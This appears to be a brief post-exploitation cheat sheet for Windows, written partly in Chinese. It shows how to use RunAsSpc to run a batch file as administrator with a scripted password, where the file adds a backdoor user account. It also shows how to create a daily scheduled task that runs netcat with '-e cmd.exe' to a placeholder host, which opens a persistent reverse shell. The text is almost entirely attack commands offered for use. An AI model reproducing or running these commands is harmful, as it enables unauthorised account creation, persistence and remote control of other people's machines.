1. RunAsSpc
Runas 无法在脚本中输入密码,可以使用RunAsSpc替代。
RunAsSpc = runas + password + encryption
https://robotronic.de/guidance.html
ADD USER:
C:\windows\temp> echo net user xiaoxiaoleo xiaoxiaoleo /add > addme.bat
C:\windows\temp> runasspc.exe /program:"addme.bat" /user:"administrator" /password:"password"
2.SCHTASKS
schtasks /query
time /t
schtasks /create /tn "MyTaskName" /tr "c:\users\public\nc.exe x.x.x.x -e cmd.exe" /sc DAILY /st 08:26:00 /ru administrator /rp password
schtasks /delete /tn MyTaskName /F